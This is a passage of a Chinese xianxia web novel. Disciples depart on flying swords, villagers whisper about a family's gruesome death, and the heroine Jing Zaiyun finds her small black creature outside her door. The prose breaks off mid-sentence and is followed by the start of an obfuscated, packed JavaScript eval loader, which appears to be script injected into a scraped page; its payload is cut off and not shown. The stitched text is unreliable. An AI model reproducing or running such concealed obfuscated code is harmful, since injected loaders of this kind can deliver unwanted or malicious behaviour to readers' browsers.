两名弟子躬身领命,转身走出院子,足尖一点,佩剑出鞘,两人踏剑升空,朝着流云宗的方向飞去,很快消失在天际。
日头升到正中,晒得地面发烫。村里的巷口背阴处,几个妇人凑在一起,手里拿着针线活,背对着过路的人,压低了声音说话。
县衙虽然封了消息,还是有零碎的话传了出来。都只说王扬一家夜里遭了难,人没了,身上的伤状离谱,官府最先查的是仇杀,问了一圈邻里,没找到仇家的线索。
有个妇人嘴唇动了动,刚要提两日前客栈失火的事,旁边的人立刻伸手拽了拽她的袖子,对着她摇了摇头。
几人对视一眼,都闭了嘴,收起手里的针线,各自转身回了家。
巷子里很快空了,只有风卷着地上的草叶滚过。
望霞山的方向,山林连绵,望不到头。日头虽然正盛,林子深处却依旧昏暗,只有零星的光线穿过层层叠叠的树叶,落在地上厚厚的落叶上。
风穿过林梢,带起一阵沙沙的声响,盖过了林子深处隐约传来的虫鸣。
晨光从支起的木格窗漏进来,落在床榻边的衣架上。景在云睁眼坐起身,指尖拢过外袍往身上披,扫过腰间乾坤袋时,动作顿住。袋口敞着一道两指宽的缝,不是睡前合紧的模样。
她闭了眼,灵力顺着指尖探入乾坤袋,内里没有那团黑黢黢的熟悉气息。景在云掀被下床,赤足踩在青砖上,刚要抬手推门,门底缝隙里漏进来一点细碎的动静。
她指尖扣住门沿,向内拉开房门。廊下阴凉,晨光落在对面的瓦檐上,丑东西蹲在门槛边的角落,通体漆黑,只有指节大小,嘴里叼着半根青草,两只前爪扒着地面,一动不动。
景在云屈膝蹲下身,食指
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if